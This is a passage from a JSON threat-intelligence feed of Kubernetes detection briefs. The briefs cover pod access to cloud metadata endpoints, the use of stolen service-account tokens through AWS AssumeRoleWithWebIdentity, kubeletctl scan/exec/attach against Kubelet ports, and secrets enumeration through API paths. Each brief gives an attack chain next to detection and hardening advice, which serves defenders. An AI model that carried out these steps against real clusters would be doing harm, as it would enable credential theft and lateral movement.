pods.\u003c/li\u003e\n\u003cli\u003eBlock access to the cloud instance metadata endpoints (169.254.169.254) from within Kubernetes pods using network policies.\u003c/li\u003e\n\u003cli\u003eRegularly review and tighten RBAC permissions related to \u003ccode\u003epods/exec\u003c/code\u003e to limit the ability of attackers to gain shell access.\u003c/li\u003e\n\u003cli\u003eMonitor cloud audit logs for suspicious STS or token issuance events correlated with Kubernetes pod exec events.\u003c/li\u003e\n\u003cli\u003eImplement workload identity solutions to avoid the need to expose instance metadata to pods.\u003c/li\u003e\n\u003cli\u003eBaseline approved images and tune exclusions narrowly to avoid false positives.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-kubernetes-metadata-access/","summary":"Detection of Kubernetes pod exec sessions accessing cloud instance metadata endpoints, indicating potential credential theft from AWS, GCP, or Azure.","title":"Kubernetes Pod Exec Cloud Instance Metadata Access","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-metadata-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["EKS","STS"],"_cs_severities":["high"],"_cs_tags":["aws","cloudtrail","iam","kubernetes","initial-access","web-identity"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThis detection rule identifies instances of successful AWS \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e calls originating from a Kubernetes service account but not from an Amazon-managed Autonomous System Number (ASN). The primary concern is the potential compromise or misuse of projected service account tokens. Kubernetes service accounts can be mapped to IAM roles through OIDC using IRSA (IAM Roles for Service Accounts). Typically, these credential requests originate from within AWS-managed or associated networks. However, if a request with a Kubernetes service account identity originates from an external ASN (i.e., not \u003ccode\u003eAmazon.com, Inc.\u003c/code\u003e), it raises suspicion that the token might have been exfiltrated and is being used from an unauthorized location. This rule is designed to highlight such anomalies, prompting further investigation into possible token theft or misconfiguration.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains unauthorized access to a Kubernetes service account token within a compromised pod or through other means.\u003c/li\u003e\n\u003cli\u003eAttacker exfiltrates the service account token from the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the exfiltrated token to call the AWS STS \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e API.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e call is made from a network with an ASN organization name that is not \u003ccode\u003eAmazon.com, Inc.\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eAWS CloudTrail logs the successful \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e event, including details about the user, source IP, and ASN organization.\u003c/li\u003e\n\u003cli\u003eThe compromised IAM role is used to perform unauthorized actions within the AWS environment.\u003c/li\u003e\n\u003cli\u003eThese actions could include data exfiltration, resource modification, or further lateral movement within the cloud infrastructure.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack of this nature can lead to significant security breaches within an AWS environment. An attacker leveraging stolen service account tokens can gain unauthorized access to sensitive resources, leading to data breaches, service disruption, or financial loss. This is especially concerning for organizations heavily reliant on Kubernetes and AWS, as it can undermine the security of their cloud-native applications and infrastructure. While the number of affected organizations is unknown, the potential impact on those targeted can be severe, leading to substantial remediation costs and reputational damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eAWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN\u003c/code\u003e to your SIEM and tune for your environment.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule by following the investigation steps in the rule\u0026rsquo;s \u003ccode\u003enote\u003c/code\u003e field.\u003c/li\u003e\n\u003cli\u003eExpand the \u003ccode\u003esource.as.organization.name\u003c/code\u003e exclusions in the Sigma rule for known and trusted egress paths if needed.\u003c/li\u003e\n\u003cli\u003eEnable geolocation/ASN enrichment for your AWS CloudTrail logs to accurately identify the source of \u003ccode\u003eAssumeRoleWithWebIdentity\u003c/code\u003e calls.\u003c/li\u003e\n\u003cli\u003eRegularly review and rotate IRSA trust relationships to minimize the impact of compromised service account tokens.\u003c/li\u003e\n\u003cli\u003eRevoke the role session, rotate IRSA trust where appropriate, investigate token exposure, and reduce service account and role permissions if unauthorized access is suspected.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-03-aws-assume-role-external-asn/","summary":"Detects successful AWS `AssumeRoleWithWebIdentity` calls where the caller identity is a Kubernetes service account and the source autonomous system organization is not `Amazon.com, Inc.`, which may indicate a stolen or misused projected service-account token being exchanged for IAM credentials off-cluster.","title":"AWS AssumeRoleWithWebIdentity from Kubernetes SA and External ASN","url":"https://feed.craftedsignal.io/briefs/2024-01-03-aws-assume-role-external-asn/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["kubernetes","kubeletctl","container","linux"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe kubeletctl tool simplifies access to Kubelet endpoints, potentially allowing attackers to perform discovery and lateral movement within Kubernetes environments. The tool can be used to enumerate pods and nodes, and attempt actions such as exec/attach/portForward. Attackers may run \u003ccode\u003ekubeletctl scan\u003c/code\u003e to find reachable Kubelet endpoints, then use \u003ccode\u003epods\u003c/code\u003e or \u003ccode\u003eexec/attach\u003c/code\u003e for follow-on access. This activity is typically observed on Linux hosts within containerized environments. Defenders should monitor for the execution of kubeletctl with suspicious arguments or connections to Kubelet ports (commonly 10250/10255).\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a compromised host within the Kubernetes environment.\u003c/li\u003e\n\u003cli\u003eAttacker downloads or transfers the \u003ccode\u003ekubeletctl\u003c/code\u003e binary to the compromised host.\u003c/li\u003e\n\u003cli\u003eAttacker executes \u003ccode\u003ekubeletctl scan\u003c/code\u003e to identify accessible Kubelet API endpoints by scanning for open ports 10250 and 10255.\u003c/li\u003e\n\u003cli\u003eAttacker uses \u003ccode\u003ekubeletctl pods\u003c/code\u003e to enumerate running pods on a targeted node based on the scan results.\u003c/li\u003e\n\u003cli\u003eAttacker leverages \u003ccode\u003ekubeletctl exec\u003c/code\u003e or \u003ccode\u003ekubeletctl attach\u003c/code\u003e to gain shell access to a pod.\u003c/li\u003e\n\u003cli\u003eAttacker uses the compromised pod to move laterally within the Kubernetes cluster, potentially accessing sensitive data or resources.\u003c/li\u003e\n\u003cli\u003eAttacker may attempt to access Kubernetes credentials, such as service account tokens or kubeconfigs, for further privilege escalation.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can allow attackers to enumerate pods and nodes, execute commands within containers, and potentially move laterally within the Kubernetes cluster. This could lead to unauthorized access to sensitive data, resource hijacking, or complete compromise of the Kubernetes environment. The CyberArk research cited in the references describes how kubeletctl can be leveraged to attack Kubernetes clusters.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003ePotential Kubeletctl Execution\u003c/code\u003e to detect suspicious execution of the \u003ccode\u003ekubeletctl\u003c/code\u003e binary on Linux hosts, focusing on command-line arguments such as \u003ccode\u003escan\u003c/code\u003e, \u003ccode\u003epods\u003c/code\u003e, \u003ccode\u003eexec\u003c/code\u003e, and \u003ccode\u003eattach\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor host and container telemetry for connections to Kubelet ports (10250/10255) using a network connection rule and look for scanning patterns across multiple nodes.\u003c/li\u003e\n\u003cli\u003eRestrict access to Kubelet ports at the network layer and harden Kubelet authentication/authorization based on the recommendations in the provided references.\u003c/li\u003e\n\u003cli\u003eRotate/revoke any exposed Kubernetes credentials (service account tokens, kubeconfigs, client certs) and investigate for follow-on discovery or execution attempts.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T12:00:00Z","date_published":"2024-01-02T12:00:00Z","id":"/briefs/2024-01-kubeletctl-execution/","summary":"This rule detects the execution of kubeletctl, a command-line tool used to interact with the Kubelet API, on Linux hosts, potentially leading to discovery and lateral movement within Kubernetes environments.","title":"Potential Kubeletctl Execution on Linux Hosts","url":"https://feed.craftedsignal.io/briefs/2024-01-kubeletctl-execution/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","credential-access","discovery","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection identifies Kubernetes Secrets listing events originating from non-loopback clients. Attackers may attempt to enumerate Kubernetes Secrets to gain access to sensitive information such as credentials, API keys, and other confidential data stored within the cluster. The rule specifically focuses on requests targeting cluster-wide secrets or list operations under the \u003ccode\u003ekube-system\u003c/code\u003e or \u003ccode\u003edefault\u003c/code\u003e namespaces, which are often targeted due to their high concentration of sensitive information. This activity is indicative of potential credential access or discovery attempts within the Kubernetes environment. This rule helps defenders identify and respond to potential reconnaissance or lateral movement activities within their Kubernetes clusters.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a node within the Kubernetes cluster or a system with access to the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the Kubernetes API server using compromised credentials or by exploiting a vulnerability.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a \u003ccode\u003elist\u003c/code\u003e request targeting the \u003ccode\u003e/api/v1/secrets\u003c/code\u003e endpoint to enumerate all secrets in the cluster.\u003c/li\u003e\n\u003cli\u003eAlternatively, the attacker targets secrets within the \u003ccode\u003ekube-system\u003c/code\u003e namespace using \u003ccode\u003e/api/v1/namespaces/kube-system/secrets\u003c/code\u003e or \u003ccode\u003edefault\u003c/code\u003e namespace using \u003ccode\u003e/api/v1/namespaces/default/secrets\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe API server responds with a list of secrets, potentially including sensitive information.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the retrieved secrets to identify valuable credentials or configuration data.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the acquired credentials to escalate privileges, move laterally within the cluster, or access external resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful enumeration of Kubernetes secrets can lead to the compromise of sensitive credentials, allowing attackers to gain unauthorized access to critical systems and data. This can result in data breaches, service disruptions, and significant financial losses. The targeting of \u003ccode\u003ekube-system\u003c/code\u003e and \u003ccode\u003edefault\u003c/code\u003e namespaces poses a particularly high risk due to the presence of core system components and sensitive configurations.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Secrets List in Sensitive Namespaces\u003c/code\u003e to your SIEM to detect suspicious secret enumeration activities based on \u003ccode\u003ekubernetes.audit.requestURI\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs (\u003ccode\u003elogs-kubernetes.audit_logs-*\u003c/code\u003e) for \u003ccode\u003elist\u003c/code\u003e operations on the \u003ccode\u003esecrets\u003c/code\u003e resource, specifically targeting \u003ccode\u003e/api/v1/secrets\u003c/code\u003e and sensitive namespaces.\u003c/li\u003e\n\u003cli\u003eImplement network policies to restrict access to the Kubernetes API server from untrusted networks.\u003c/li\u003e\n\u003cli\u003eReview and harden the security configuration of the \u003ccode\u003ekube-system\u003c/code\u003e and \u003ccode\u003edefault\u003c/code\u003e namespaces.\u003c/li\u003e\n\u003cli\u003eEnforce the principle of least privilege for service accounts and user access to minimize the impact of credential compromise.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule and correlate with other security events to identify potential attacks.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T12:00:00Z","date_published":"2024-01-02T12:00:00Z","id":"/briefs/2024-01-kubernetes-secrets-enumeration/","summary":"Detection of Kubernetes Secrets listing from non-loopback clients targeting cluster-wide secrets or sensitive namespaces, potentially indicating unauthorized credential access or discovery.","title":"Kubernetes Secrets Enumeration from Non-Loopback Client","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secrets-enumeration/"}],"language":"en","title":"CraftedSignal Threat Feed — Kubernetes","version":"https://jsonfeed.org/version/1.1"}